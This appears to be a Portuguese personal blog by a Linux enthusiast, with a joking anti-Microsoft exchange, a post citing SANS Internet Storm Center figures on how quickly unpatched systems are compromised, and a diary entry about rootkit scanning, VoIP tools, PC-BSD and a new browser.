- (comentário) É pá estás cada vez pior. O fanatismo cega-te e até já vês o fantasma da M$ em tudo o que tocas. Larga essa droga da M$ da mão e trabalha mas é para o Linux senão ainda aparecem por aí uns gajos a falar em nome do "Linux" e a acusarem-te que só estás a fazer mal ao teu querido SO. Vai mas é de férias e regressa mais calmo.

je - (comentário) Eh pá tens razão.
Foste um gajo porreiro.
Vou ver se me recordo das tuas palavras e tentar fazer o possível para nunca mais cair na mesma tentação.
Estou mesmo a precisar de férias.

Espera aí!
Mas eu estou de férias! (não é bem assim pois nem sequer chega a ser meio dia de férias mas isso agora não interessa)
Ora, se estou de férias devo estar mais descansado e relaxado.
Se estou mais calmo também devo ter alguma razão no que estava a dizer.
E se tenho razão no que estava a dizer onde é que desencantei a nojice da M$?
Tem que estar em algum lado.
Eureka. Está aqui!

(comentário) je - Afinal pá tiveste razão mas apenas numa coisa - esqueci-me de indicar o link que tem a ligação para a notícia do casamento.

A base para esta coisa que se quer afirmar como um post foi roubada daqui.

(*) - Não conheço a personagem mas apenas de ouvir falar. Penso que nem ele é capaz de tal proeza mas como não o conheço até é bem possivel que o Prof. possa fazer a mesma coisa.

ISC - SANS INSTITUTE

Penso que toda a gente já conhece e reconhece o trabalho do SANS Institute / Internet Storm Center - se não conhecerem ficam a conhecer e desde já aconselho a uma leitura dos relatórios que vão publicando.

Este Instituto tem sido um ponto de referência para muita gente e principalmente para os amantes das janelas.
Pessoalmente, eu também gosto e é por essa razão que hoje me apetece dar um conselho a todo o pessoal que anda por essa net fora sem tomarem as devidas precauções. E as precauções até nem muitas nem tampouco um bicho de sete cabeças e se atentarmos na enorme diferença que existe entre um sistema actualizado e um não actualizado vale bem a pena perder um pouco de tempo a cuidar deste pequeno pormenor. Portanto, já sabem - mantenham sempre o sistema devidamente actualizado.
E sabem porquê?
Ou melhor, sabem quanto tempo resiste um sistema que não se encontre com as actualizações em dia!?
Pode causar alguma surpresa mas leiam bem isto - 4 minutos!

Claro que a culpa não "mora" apenas no SO mas também no conjunto de aplicações que fazem parte desse sistema. Assim, não se fiquem apenas pelas actualizações do vosso SO preferido mas pensem também em todas as outras aplicações e respectivas actualizações.
Porém, quando disse que a culpa não "mora" apenas no SO, não pensem que o SO é um coitadinho e que não tem culpa nenhuma no cartório. Não, o SO é a parte mais importante em todo este processo e é muito por culpa da porcaria que vai no meio de todo aquele código que o pessoal se vai vendo aflito para travar os sucessivos ataques de que são alvo.

Só para ter uma ideia do que estou para aqui a debitar eis o gráfico referente ao "Windows" no período correspondente ao ano de 2008:


Como podem ver um sistema com o "Windows" não actualizado é uma autêntica bomba-relógio e a expectativa de vida é quase ridícula.
Quando dizia que o SO é muito importante gostaria de realçar o que se passa com um SO "Unix":



Uma imagem vale mais do que mil palavras, não acham?

DIA EM CHEIO

Hoje foi um grande dia. Ou melhor, não diria grande mas tive um bocado de tempo para preparar umas coisas que vinha adiando.
Ainda não foi desta que comecei a ver de que é feita a nova versão Ubuntu. Neste momento ainda me fico pela 6.06 LTS e 7.04 que passarão, assim que possível, à nova 8.04. Não sei porquê, mas ando a ficar cansado de trocar 2 vezes por ano os meus SO's predilectos. Instalo, começo logo a "afinar" o kernel e quando está tudo ok lá vem outra versão. Por mim a sazonalidade acabou e vai ser quando me apetecer. No caso do 6.06 LTS nem vale a pena recordar que a 8.04 irá ser uma versão "longa duração"...

Então vamos lá aquilo que me tirou umas horas da minha vida.

Primeiro, andei à caça de rootkits. Tinha instalado o rkhunter e só hoje me lembrei de o correr novamente e comparar com o primeiro log que dispunha. Apesar de alguns falsos-positivos o sistema está seguro, pelo menos neste capítulo. Andava há uns bons 2 meses sem vasculhar os meus dados.

Segundo, lembrei-me de telefonar a algumas pessoas conhecidas e ainda bem que me lembrei porque foi a oportunidade de ensaiar pela primeira vez a tecnologia VOIP numa linha particular "abastecida" pelo batráquio. Demorei um bom bocado a ver o que havia para Linux mas como sou um teimoso dos diabos nem hesitei perante o Skype, a primeira aplicação de que me recordo. Fresquinha a versão 2.0 e de uma qualidade que me deixou atónito. Porém o "meu" Asterisk é muito melhor.

Terceiro, saiu uma nova versão do PC-BSD. Foi a 1.5 e estou neste preciso momento a tentar instalar num dos "cotas" Pentium III 550 MHz que me parece algo renitente em engolir esta versão do diabinho.

Quarto, esse velhinho P III 550 MHz ainda tinha instalada uma versão antiga do Gentoo e só mais tarde me lembrei que este e mais uns 4 todos P III (350 + 3x 550), faziam parte de um cluster com o openMosix que recentemente foi vítima de morte súbita mas perfeitamente justificada.

Quinto e último, há por aí um novo browser. Para já o que posso dizer é que gostei, principalmente da velocidade. Para já é uma versão muito "jovem" mas não posso deixar de me admirar pela coragem de dois putos que desenvolveram este Skipstone. Sim, leram bem apenas dois putos. Vejam bem a "outra" com autênticos exércitos e é só borrada...

Estou cansado, pricipalmente da vista (aaaaarrrrrgggghhhhh), e sem tempo nenhum mas prometo para amanhã uma análise a estes novos programas além de uma pequena explicação acerca do "caçador" de rootkits. Lembre-se sempre de colocar a segurança em primeiro lugar e não como um comentador que li num blog por aí, peço desculpa mas não me lembro onde, que criticava o Linux desta forma:
- "Pôrra o Linux não é aquele programa que anda a toda a hora a pedir a password do administrador. Que merda mais mal feita. O Windows não precisa nada disto".

Amanhã, um pouco mais fresco também podem contar com mais umas críticas ao meu ódio de estimação. O que não falta por aqueles lados é "novidades novas".
E das boas...